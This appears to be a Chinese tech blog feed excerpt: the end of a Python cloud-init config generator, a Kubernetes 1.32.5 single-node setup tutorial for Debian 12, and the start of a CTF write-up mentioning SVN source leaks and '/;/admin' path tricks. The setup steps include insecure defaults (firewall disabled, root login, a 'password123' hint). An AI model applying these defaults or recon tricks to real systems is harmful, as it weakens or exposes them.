        print(f&quot;密钥对已生成: {key_path} 和 {key_path.with_suffix(&apos;.pub&apos;)}&quot;)
    except (FileNotFoundError, subprocess.CalledProcessError) as e:
        print(f&quot;[X] ssh-keygen 命令执行失败: {e}&quot;)
        print(&quot;[i] 请确保您的系统中安装了 OpenSSH 客户端，并且 &apos;ssh-keygen&apos; 在系统 PATH 中。&quot;)
        raise


def get_ssh_pubkey(pubkey_path: Path) -&amp;gt; str:
    if not pubkey_path.exists():
        raise FileNotFoundError(f&quot;公钥文件不存在: {pubkey_path}&quot;)
    return pubkey_path.read_text(encoding=&quot;utf-8&quot;).strip()


def manual_input_pubkey() -&amp;gt; str:
    while True:
        print(&quot;\n请输入 SSH 公钥（单行格式，如 ssh-rsa AAAA...），输入完成后按回车：&quot;)
        key = input(&quot;公钥: &quot;).strip()
        if key.startswith(&quot;ssh-rsa&quot;) or key.startswith(&quot;ssh-ed25519&quot;):
            return key
        print(&quot;输入无效。公钥通常以 &apos;ssh-rsa&apos; 或 &apos;ssh-ed25519&apos; 开头。请重试。&quot;)


&quot;&quot;&quot;
        #cloud-config
        hostname: {hostname}
        fqdn: {hostname}.local
        manage_etc_hosts: true

        # 用户和认证设置
        disable_root: false
        ssh_pwauth: false

        users:
          - name: root
            # 关键修正：&apos;ssh_authorized_keys&apos; 必须与 &apos;name&apos; 对齐
            ssh_authorized_keys:
              - {ssh_key}

        # (可选) 设置 root 密码
        # chpasswd:
        #   list: |
        #     root:password123
        #   expire: false

        # 启动后执行的命令
        runcmd:
          # 1. 替换 APT 软件源为清华大学镜像 (推荐保留)
          - sed -i &apos;s@https?://[^/]+/ubuntu/@https://mirrors.tuna.tsinghua.edu.cn/ubuntu/@g&apos; /etc/apt/sources.list

          # 2. 增强 SSH 安全性，禁止 root 密码登录
          - sed -i &apos;s/^#?PermitRootLogin.*/PermitRootLogin prohibit-password/&apos; /etc/ssh/sshd_config

          # 3. 重启 SSH 服务使配置生效
          - systemctl restart sshd

          # 4. 更新系统
          - apt-get update
          - apt-get upgrade -y
    &quot;&quot;&quot;
def generate_user_data(hostname: str, ssh_key: str) -&amp;gt; str:
    return dedent(f&quot;&quot;&quot;\
        #cloud-config
        hostname: {hostname}
        fqdn: {hostname}.local
        manage_etc_hosts: true
        disable_root: false
        ssh_pwauth: false
        users:
          - name: root
            ssh_authorized_keys:
              - {ssh_key}
        runcmd:
          - sed -i &apos;s@https?://[^/]+/ubuntu/@https://mirrors.tuna.tsinghua.edu.cn/ubuntu/@g&apos; /etc/apt/sources.list
          - sed -i &apos;s/^#?PermitRootLogin.*/PermitRootLogin prohibit-password/&apos; /etc/ssh/sshd_config
          - systemctl restart sshd
          - apt-get update
          - apt-get upgrade -y
    &quot;&quot;&quot;)

def generate_meta_data(hostname: str) -&amp;gt; str:
    instance_id = f&quot;{hostname}-{uuid.uuid4().hex[:8]}&quot;
    return dedent(f&quot;&quot;&quot;\
        instance-id: {instance_id}
        local-hostname: {hostname}
    &quot;&quot;&quot;)


def create_cloud_init_iso(hostname: str, source_dir: Path):
    command_name = &quot;genisoimage&quot;
    command_path = shutil.which(command_name)
    if not command_path:
        command_name = &quot;mkisofs&quot;
        command_path = shutil.which(command_name)

    if not command_path:
        print(f&quot;[!] 警告: 未找到 &apos;genisoimage&apos; 或 &apos;mkisofs&apos; 命令，无法为 {hostname} 创建 seed.iso。&quot;)
        print(&quot;    - 在 Debian/Ubuntu 上, 请运行: sudo apt-get install -y cloud-image-utils&quot;)
        print(&quot;    - 在 CentOS/RHEL/Fedora 上, 请运行: sudo yum install -y genisoimage&quot;)
        print(&quot;    - 在 Windows 上, 您可以安装 cdrtools 或手动创建 ISO。&quot;)
        return

    iso_path = source_dir / &quot;seed.iso&quot;
    print(f&quot;正在为 {hostname} 创建 cloud-init ISO: {iso_path} (使用 {command_name})&quot;)

    try:
        subprocess.run(
            [
                command_path,
                &quot;-output&quot;, str(iso_path),
                &quot;-volid&quot;, &quot;cidata&quot;,
                &quot;-joliet&quot;,
                &quot;-rock&quot;,
                str(source_dir)
            ],
            check=True,
            capture_output=True
        )
        print(f&quot;[√] 成功创建 {iso_path}&quot;)
    except subprocess.CalledProcessError as e:
        print(f&quot;[X] 使用 {command_name} 创建 ISO 失败:&quot;)
        print(f&quot;    错误码: {e.returncode}&quot;)
        print(f&quot;    错误输出: {e.stderr.decode(errors=&apos;ignore&apos;)}&quot;)


def main():
    print(&quot;--- Cloud-Init 配置生成器 ---&quot;)
    ssh_pub_key = &quot;&quot;
    while True:
        choice = input(
            &quot;请选择 SSH 公key获取方式:\n1) 手动输入公钥\n2) 自动生成/使用现有密钥对\n请输入 1 或 2: &quot;).strip()
        if choice in [&quot;1&quot;, &quot;2&quot;]: break
        print(&quot;无效选择，请重试。&quot;)
    try:
        if choice == &quot;1&quot;:
            ssh_pub_key = manual_input_pubkey()
        else:
            priv_key_path = OUTPUT_BASE_DIR / &quot;auth&quot; / &quot;id_rsa&quot;
            generate_ssh_keypair(priv_key_path)
            ssh_pub_key = get_ssh_pubkey(priv_key_path.with_suffix(&quot;.pub&quot;))
            print(f&quot;\n[i] 将使用以下公钥（位于 {priv_key_path.with_suffix(&apos;.pub&apos;)}）:&quot;)
            print(ssh_pub_key)
    except Exception as e:
        print(f&quot;\n[X] 获取SSH密钥时发生错误: {e}&quot;)
        return

    while True:
        out_choice = input(
            &quot;\n请选择输出格式:\n1) 生成独立文件和 seed.iso (用于 NoCloud 数据源)\n2) 生成 Base64 键值对 (同时保存原始YAML文件)\n请输入 1 或 2: &quot;).strip()
        if out_choice in [&quot;1&quot;, &quot;2&quot;]: break
        print(&quot;无效选择，请重试。&quot;)

    print(&quot;\n--- 开始生成配置文件 ---&quot;)
    if out_choice == &quot;1&quot;:
        for hostname in HOSTNAMES:
            host_dir = OUTPUT_BASE_DIR / hostname
            host_dir.mkdir(parents=True, exist_ok=True)
            user_data = generate_user_data(hostname, ssh_pub_key)
            meta_data = generate_meta_data(hostname)
            (host_dir / &quot;user-data&quot;).write_text(user_data, encoding=&quot;utf-8&quot;)
            (host_dir / &quot;meta-data&quot;).write_text(meta_data, encoding=&quot;utf-8&quot;)
            print(f&quot;[√] 已为 {hostname} 生成配置文件于: {host_dir}/&quot;)
            create_cloud_init_iso(hostname, host_dir)
    else:  # out_choice == &quot;2&quot;
        all_configs_path = OUTPUT_BASE_DIR / &quot;all_hosts_guestinfo.txt&quot;
        all_configs_path.parent.mkdir(parents=True, exist_ok=True)
        with all_configs_path.open(&quot;w&quot;, encoding=&quot;utf-8&quot;) as f_all:
            for i, hostname in enumerate(HOSTNAMES):
                print(f&quot;\n--- 正在处理: {hostname} ---&quot;)
                # 关键修复：使用 ssh_pub_key 而不是 ssh_key
                user_data_str = generate_user_data(hostname, ssh_pub_key)
                meta_data_str = generate_meta_data(hostname)
                host_dir = OUTPUT_BASE_DIR / hostname
                host_dir.mkdir(parents=True, exist_ok=True)
                (host_dir / &quot;user-data.yaml&quot;).write_text(user_data_str, encoding=&quot;utf-8&quot;)
                (host_dir / &quot;meta-data.yaml&quot;).write_text(meta_data_str, encoding=&quot;utf-8&quot;)
                print(f&quot;[i] 原始YAML文件已保存至: {host_dir}/&quot;)
                user_data_b64 = base64.b64encode(user_data_str.encode(&quot;utf-8&quot;)).decode(&quot;utf-8&quot;)
                meta_data_b64 = base64.b64encode(meta_data_str.encode(&quot;utf-8&quot;)).decode(&quot;utf-8&quot;)
                output_content = dedent(f&quot;&quot;&quot;\
                    # Hostname: {hostname}
                    guestinfo.userdata=&quot;{user_data_b64}&quot;
                    guestinfo.userdata.encoding=&quot;base64&quot;
                    guestinfo.metadata=&quot;{meta_data_b64}&quot;
                    guestinfo.metadata.encoding=&quot;base64&quot;
                &quot;&quot;&quot;)
                print(f&quot;[√] 正在生成 Base64 配置...&quot;)
                if i &amp;gt; 0: f_all.write(&quot;\n&quot;)
                f_all.write(output_content)
        print(f&quot;\n[√] 所有主机的 Base64 配置已合并保存到: {all_configs_path}&quot;)

    print(&quot;\n--- 所有任务完成 ---&quot;)


if __name__ == &quot;__main__&quot;:
    try:
        f = Figlet(font=&apos;slant&apos;)
        print(f.renderText(&apos;cloud-init creat config by inuyume&apos;))
    except NameError:
        print(&quot;--- cloud-init creat config by inuyume ---&quot;)

    main()

    print(
        &quot;\n[Hint] : 如果想使用SSH密码，请在generate_user_data的dedent中修改prohibit-password为yes并取消chpasswd的注释并修改默认的password123&quot;)
    print(
        &quot;\n[Hint] : 请注意保存生成的公钥和私钥和生成的配置文件，相同目录下运行脚本会覆盖旧的生成文件，密钥默认使用已有的密钥！&quot;)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Debain12 部署Kubernetes 1.32.5 单节点 教程</title><link>https://blog.fiveqm.com/archives/448/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/448/</guid><description>1.准备工作我这里使用 ESXi 7.0 U2 创建虚拟机 cpu 8c 内存 8g 系统 debain 12 ip 192.168.xxx.70 2.开始部署 关闭 swap sed -ri &apos;s/^^.swap.$/\1/&apos; /etc/fstab &amp;&amp; grep swap /etc/fstab ...</description><pubDate>Sun, 01 Jun 2025 06:03:26 GMT</pubDate><content:encoded>&lt;p&gt;1.准备工作(我这里使用 ESXi 7.0 U2 创建虚拟机)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;cpu 8c&lt;/li&gt;
&lt;li&gt;内存 8g&lt;/li&gt;
&lt;li&gt;系统 debain 12&lt;/li&gt;
&lt;li&gt;ip 192.168.xxx.70&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2.开始部署&lt;/p&gt;
&lt;p&gt;关闭 swap&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sed -ri &apos;s/^([^#].*swap.*)$/#\1/&apos; /etc/fstab &amp;amp;&amp;amp; grep swap /etc/fstab &amp;amp;&amp;amp; swapoff -a &amp;amp;&amp;amp; free -h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果安装了防火墙请关闭防火墙&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ufw disable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开启ipv4转发&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;lt;&amp;lt;EOF | sudo tee /etc/sysctl.d/k8s.conf
net.ipv4.ip_forward = 1
EOF
sysctl --system
sysctl net.ipv4.ip_forward
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置hostname&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/hostname
debain-master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置host&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/hosts


127.0.0.1       localhost
127.0.1.1       debain-master

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装containerd&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update &amp;amp;&amp;amp; apt install -y containerd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看containerd版本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;containerd -v

root@debian:~# containerd -v
containerd github.com/containerd/containerd 1.6.20~ds1 1.6.20~ds1-1+deb12u1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成默认containerd配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /etc/containerd &amp;amp;&amp;amp; containerd config default&amp;gt;/etc/containerd/config.toml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑配置文件&lt;/p&gt;
&lt;p&gt;nano /etc/containerd/config.toml&lt;/p&gt;
&lt;p&gt;修改plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.runtimes.runc.options 的 SystemdCgroup = fales 为 true&lt;/p&gt;
&lt;p&gt;修改sandbox_image = &quot;registry.k8s.io/pause:3.6&quot; 为sandbox_image = &quot;registry.aliyuncs.com/google_containers/pause:3.9&quot;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#config.toml
disabled_plugins = []
imports = []
oom_score = 0
plugin_dir = &quot;&quot;
required_plugins = []
root = &quot;/var/lib/containerd&quot;
state = &quot;/run/containerd&quot;
temp = &quot;&quot;
version = 2

[cgroup]
  path = &quot;&quot;

[debug]
  address = &quot;&quot;
  format = &quot;&quot;
  gid = 0
  level = &quot;&quot;
  uid = 0

[grpc]
  address = &quot;/run/containerd/containerd.sock&quot;
  gid = 0
  max_recv_message_size = 16777216
  max_send_message_size = 16777216
  tcp_address = &quot;&quot;
  tcp_tls_ca = &quot;&quot;
  tcp_tls_cert = &quot;&quot;
  tcp_tls_key = &quot;&quot;
  uid = 0

[metrics]
  address = &quot;&quot;
  grpc_histogram = false

[plugins]

  [plugins.&quot;io.containerd.gc.v1.scheduler&quot;]
    deletion_threshold = 0
    mutation_threshold = 100
    pause_threshold = 0.02
    schedule_delay = &quot;0s&quot;
    startup_delay = &quot;100ms&quot;

  [plugins.&quot;io.containerd.grpc.v1.cri&quot;]
    device_ownership_from_security_context = false
    disable_apparmor = false
    disable_cgroup = false
    disable_hugetlb_controller = true
    disable_proc_mount = false
    disable_tcp_service = true
    enable_selinux = false
    enable_tls_streaming = false
    enable_unprivileged_icmp = false
    enable_unprivileged_ports = false
    ignore_image_defined_volumes = false
    max_concurrent_downloads = 3
    max_container_log_line_size = 16384
    netns_mounts_under_state_dir = false
    restrict_oom_score_adj = false
    sandbox_image = &quot;registry.aliyuncs.com/google_containers/pause:3.9&quot;
    selinux_category_range = 1024
    stats_collect_period = 10
    stream_idle_timeout = &quot;4h0m0s&quot;
    stream_server_address = &quot;127.0.0.1&quot;
    stream_server_port = &quot;0&quot;
    systemd_cgroup = false
    tolerate_missing_hugetlb_controller = true
    unset_seccomp_profile = &quot;&quot;

    [plugins.&quot;io.containerd.grpc.v1.cri&quot;.cni]
      bin_dir = &quot;/opt/cni/bin&quot;
      conf_dir = &quot;/etc/cni/net.d&quot;
      conf_template = &quot;&quot;
      ip_pref = &quot;&quot;
      max_conf_num = 1

    [plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd]
      default_runtime_name = &quot;runc&quot;
      disable_snapshot_annotations = true
      discard_unpacked_layers = false
      ignore_rdt_not_enabled_errors = false
      no_pivot = false
      snapshotter = &quot;overlayfs&quot;

      [plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.default_runtime]
        base_runtime_spec = &quot;&quot;
        cni_conf_dir = &quot;&quot;
        cni_max_conf_num = 0
        container_annotations = []
        pod_annotations = []
        privileged_without_host_devices = false
        runtime_engine = &quot;&quot;
        runtime_path = &quot;&quot;
        runtime_root = &quot;&quot;
        runtime_type = &quot;&quot;

        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.default_runtime.options]

      [plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.runtimes]

        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.runtimes.runc]
          base_runtime_spec = &quot;&quot;
          cni_conf_dir = &quot;&quot;
          cni_max_conf_num = 0
          container_annotations = []
          pod_annotations = []
          privileged_without_host_devices = false
          runtime_engine = &quot;&quot;
          runtime_path = &quot;&quot;
          runtime_root = &quot;&quot;
          runtime_type = &quot;io.containerd.runc.v2&quot;

          [plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.runtimes.runc.options]
            BinaryName = &quot;&quot;
            CriuImagePath = &quot;&quot;
            CriuPath = &quot;&quot;
            CriuWorkPath = &quot;&quot;
            IoGid = 0
            IoUid = 0
            NoNewKeyring = false
            NoPivotRoot = false
            Root = &quot;&quot;
            ShimCgroup = &quot;&quot;
            SystemdCgroup = true

      [plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.untrusted_workload_runtime]
        base_runtime_spec = &quot;&quot;
        cni_conf_dir = &quot;&quot;
        cni_max_conf_num = 0
        container_annotations = []
        pod_annotations = []
        privileged_without_host_devices = false
        runtime_engine = &quot;&quot;
        runtime_path = &quot;&quot;
        runtime_root = &quot;&quot;
        runtime_type = &quot;&quot;

        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.untrusted_workload_runtime.options]

    [plugins.&quot;io.containerd.grpc.v1.cri&quot;.image_decryption]
      key_model = &quot;node&quot;

    [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry]
      config_path = &quot;&quot;

      [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.auths]

      [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.configs]

      [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.headers]

      [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.mirrors]

    [plugins.&quot;io.containerd.grpc.v1.cri&quot;.x509_key_pair_streaming]
      tls_cert_file = &quot;&quot;
      tls_key_file = &quot;&quot;

  [plugins.&quot;io.containerd.internal.v1.opt&quot;]
    path = &quot;/opt/containerd&quot;

  [plugins.&quot;io.containerd.internal.v1.restart&quot;]
    interval = &quot;10s&quot;

  [plugins.&quot;io.containerd.metadata.v1.bolt&quot;]
    content_sharing_policy = &quot;shared&quot;

  [plugins.&quot;io.containerd.monitor.v1.cgroups&quot;]
    no_prometheus = false

  [plugins.&quot;io.containerd.runtime.v1.linux&quot;]
    no_shim = false
    runtime = &quot;runc&quot;
    runtime_root = &quot;&quot;
    shim = &quot;containerd-shim&quot;
    shim_debug = false

  [plugins.&quot;io.containerd.runtime.v2.task&quot;]
    platforms = [&quot;linux/amd64&quot;]
    sched_core = false

  [plugins.&quot;io.containerd.service.v1.diff-service&quot;]
    default = [&quot;walking&quot;]

  [plugins.&quot;io.containerd.service.v1.tasks-service&quot;]
    rdt_config_file = &quot;&quot;

  [plugins.&quot;io.containerd.snapshotter.v1.aufs&quot;]
    root_path = &quot;&quot;

  [plugins.&quot;io.containerd.snapshotter.v1.btrfs&quot;]
    root_path = &quot;&quot;

  [plugins.&quot;io.containerd.snapshotter.v1.devmapper&quot;]
    async_remove = false
    base_image_size = &quot;&quot;
    discard_blocks = false
    fs_options = &quot;&quot;
    fs_type = &quot;&quot;
    pool_name = &quot;&quot;
    root_path = &quot;&quot;

  [plugins.&quot;io.containerd.snapshotter.v1.native&quot;]
    root_path = &quot;&quot;

  [plugins.&quot;io.containerd.snapshotter.v1.overlayfs&quot;]
    root_path = &quot;&quot;
    upperdir_label = false

  [plugins.&quot;io.containerd.snapshotter.v1.zfs&quot;]
    root_path = &quot;&quot;

[proxy_plugins]

[stream_processors]

  [stream_processors.&quot;io.containerd.ocicrypt.decoder.v1.tar&quot;]
    accepts = [&quot;application/vnd.oci.image.layer.v1.tar+encrypted&quot;]
    args = [&quot;--decryption-keys-path&quot;, &quot;/etc/containerd/ocicrypt/keys&quot;]
    env = [&quot;OCICRYPT_KEYPROVIDER_CONFIG=/etc/containerd/ocicrypt/ocicrypt_keyprovider.conf&quot;]
    path = &quot;ctd-decoder&quot;
    returns = &quot;application/vnd.oci.image.layer.v1.tar&quot;

  [stream_processors.&quot;io.containerd.ocicrypt.decoder.v1.tar.gzip&quot;]
    accepts = [&quot;application/vnd.oci.image.layer.v1.tar+gzip+encrypted&quot;]
    args = [&quot;--decryption-keys-path&quot;, &quot;/etc/containerd/ocicrypt/keys&quot;]
    env = [&quot;OCICRYPT_KEYPROVIDER_CONFIG=/etc/containerd/ocicrypt/ocicrypt_keyprovider.conf&quot;]
    path = &quot;ctd-decoder&quot;
    returns = &quot;application/vnd.oci.image.layer.v1.tar+gzip&quot;

[timeouts]
  &quot;io.containerd.timeout.bolt.open&quot; = &quot;0s&quot;
  &quot;io.containerd.timeout.shim.cleanup&quot; = &quot;5s&quot;
  &quot;io.containerd.timeout.shim.load&quot; = &quot;5s&quot;
  &quot;io.containerd.timeout.shim.shutdown&quot; = &quot;3s&quot;
  &quot;io.containerd.timeout.task.state&quot; = &quot;2s&quot;

[ttrpc]
  address = &quot;&quot;
  gid = 0
  uid = 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重启 containerd 服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl restart containerd
systemctl enable containerd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;添加Kubernetes GPG 密钥&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install -y apt-transport-https ca-certificates curl gpg
curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.32/deb/Release.key | gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg
chmod 644 /etc/apt/keyrings/kubernetes-apt-keyring.gpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;添加 Kubernetes apt 仓库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.32/deb/ /&apos; | tee /etc/apt/sources.list.d/kubernetes.list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更新apt源 安装 kubeadm, kubelet, kubectl 并禁止更新&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update &amp;amp;&amp;amp; \
apt install -y kubelet kubectl kubeadm &amp;amp;&amp;amp; \
apt-mark hold kubelet kubeadm kubectl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;验证安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@debian:~# kubectl version
Client Version: v1.32.5
Kustomize Version: v5.5.0
The connection to the server localhost:8080 was refused - did you specify the right host or port?
root@debian:~# kubelet version
E0601 12:25:40.197825   18045 run.go:72] &quot;command failed&quot; err=&quot;unknown command version&quot;
root@debian:~# kubeadm version
kubeadm version: &amp;amp;version.Info{Major:&quot;1&quot;, Minor:&quot;32&quot;, GitVersion:&quot;v1.32.5&quot;, GitCommit:&quot;9894294ef13a5b32803e3ca2c0d620a088cc84d1&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2025-05-15T09:10:46Z&quot;, GoVersion:&quot;go1.23.8&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成初始化节点配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubeadm config print init-defaults &amp;gt; kubeadm-config.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano kubeadm-config.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将advertiseAddress: 1.2.3.4 修改为 advertiseAddress: 192.168.xxx.70 (修改为你的master节点ip地址)&lt;br /&gt;
将nodeRegistration 中的 name 修改为你的master 节点的主机名&lt;br /&gt;
在networking 中添加 podSubnet: 10.244.0.0/16&lt;br /&gt;
将imageRepository: registry.k8s.io 修改为imageRepository: registry.aliyuncs.com/google_containers&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#kubeadm-config.yaml
apiVersion: kubeadm.k8s.io/v1beta4
bootstrapTokens:
- groups:
  - system:bootstrappers:kubeadm:default-node-token
  token: abcdef.0123456789abcdef
  ttl: 24h0m0s
  usages:
  - signing
  - authentication
kind: InitConfiguration
localAPIEndpoint:
  advertiseAddress: 192.168.xxx.70
  bindPort: 6443
nodeRegistration:
  criSocket: unix:///var/run/containerd/containerd.sock
  imagePullPolicy: IfNotPresent
  imagePullSerial: true
  name: debain-master
  taints: null
timeouts:
  controlPlaneComponentHealthCheck: 4m0s
  discovery: 5m0s
  etcdAPICall: 2m0s
  kubeletHealthCheck: 4m0s
  kubernetesAPICall: 1m0s
  tlsBootstrap: 5m0s
  upgradeManifests: 5m0s
---
apiServer: {}
apiVersion: kubeadm.k8s.io/v1beta4
caCertificateValidityPeriod: 87600h0m0s
certificateValidityPeriod: 8760h0m0s
certificatesDir: /etc/kubernetes/pki
clusterName: kubernetes
controllerManager: {}
dns: {}
encryptionAlgorithm: RSA-2048
etcd:
  local:
    dataDir: /var/lib/etcd
imageRepository: registry.aliyuncs.com/google_containers
kind: ClusterConfiguration
kubernetesVersion: 1.32.0
networking:
  dnsDomain: cluster.local
  serviceSubnet: 10.96.0.0/12
  podSubnet: 10.244.0.0/16
proxy: {}
scheduler: {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化节点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubeadm init --config kubeadm-config.yaml --upload-certs --v=9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化成功以后运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  mkdir -p $HOME/.kube
  sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
  sudo chown $(id -u):$(id -g) $HOME/.kube/config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装Calico&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.30.1/manifests/tigera-operator.yaml

wget https://github.moeyy.xyz/https://raw.githubusercontent.com/projectcalico/calico/v3.30.1/manifests/custom-resources.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改custom-resources.yaml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; nano custom-resources.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将cidr 修改为在kubeadm-config.yaml 中定义的 podSubnet: 10.244.0.0/16 -&amp;gt; cidr: 10.244.0.0/16/16&lt;br /&gt;
在spec 中添加镜像registry: docker.m.daocloud.io&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#custom-resources.yaml
# This section includes base Calico installation configuration.
# For more information, see: https://docs.tigera.io/calico/latest/reference/installation/api#operator.tigera.io/v1.Installation
apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  # Configures Calico networking.
  registry: docker.m.daocloud.io # &amp;lt;-- 添加或修改此行！
  calicoNetwork:
    ipPools:
    - name: default-ipv4-ippool
      blockSize: 26
      cidr: 10.244.0.0/16
      encapsulation: VXLANCrossSubnet
      natOutgoing: Enabled
      nodeSelector: all()

---

# This section configures the Calico API server.
# For more information, see: https://docs.tigera.io/calico/latest/reference/installation/api#operator.tigera.io/v1.APIServer
apiVersion: operator.tigera.io/v1
kind: APIServer
metadata:
  name: default
spec: {}

---

# Configures the Calico Goldmane flow aggregator.
apiVersion: operator.tigera.io/v1
kind: Goldmane
metadata:
  name: default

---

# Configures the Calico Whisker observability UI.
apiVersion: operator.tigera.io/v1
kind: Whisker
metadata:
  name: default
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;apply&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; kubectl create -f custom-resources.yaml


Every 2.0s: kubectl get pods -n calico-system                                   

NAME                                       READY   STATUS    RESTARTS   AGE
calico-kube-controllers-77f646f8d9-6dlkw   1/1     Running   0          4m20s
calico-node-5n2cp                          1/1     Running   0          4m23s
calico-typha-b6c4c4db5-lmkc6               1/1     Running   0          4m25s
csi-node-driver-cklfv                      2/2     Running   0          4m22s
goldmane-795ddb994b-vssfw                  1/1     Running   0          4m26s
whisker-7cc794bddb-dt4ms                   2/2     Running   0          2m44s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可用性验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@debain-master:~# kubectl get svc -n kube-system
NAME       TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)                  AGE
kube-dns   ClusterIP   10.96.0.10   &amp;lt;none&amp;gt;        53/UDP,53/TCP,9153/TCP   58m
root@debain-master:~# dig -t a www.bilibili.com @10.96.0.10

; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.18.33-1~deb12u2-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; -t a www.bilibili.com @10.96.0.10
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 16904
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 4138133d6f05ec22 (echoed)
;; QUESTION SECTION:
;www.bilibili.com.              IN      A

;; ANSWER SECTION:
www.bilibili.com.       30      IN      A       111.6.167.135
www.bilibili.com.       30      IN      A       111.6.167.136
www.bilibili.com.       30      IN      A       111.6.167.134
www.bilibili.com.       30      IN      A       111.6.167.137

;; Query time: 0 msec
;; SERVER: 10.96.0.10#53(10.96.0.10) (UDP)
;; WHEN: Sun Jun 01 14:02:24 CST 2025
;; MSG SIZE  rcvd: 185
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>第八届御网杯信息安全大赛线上赛wp</title><link>https://blog.fiveqm.com/archives/380/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/380/</guid><description>Web input_data 提示是通过svn取源码，在prinstine目录下找到了flag，我交的时候flag是一串数字，复现的时候就变成了一串uuid Web admin 用dirsearch扫到了/;/login 和/;/admin 随便输点东西触发报错页面发现使用的是java的web框架，...</description><pubDate>Mon, 21 Oct 2024 09:23:50 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Web input_data&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;提示是通过svn取源码，在prinstine目录下找到了flag，我交的时候flag是一串数字，复现的时候就变成了一串uuid&lt;/p&gt;
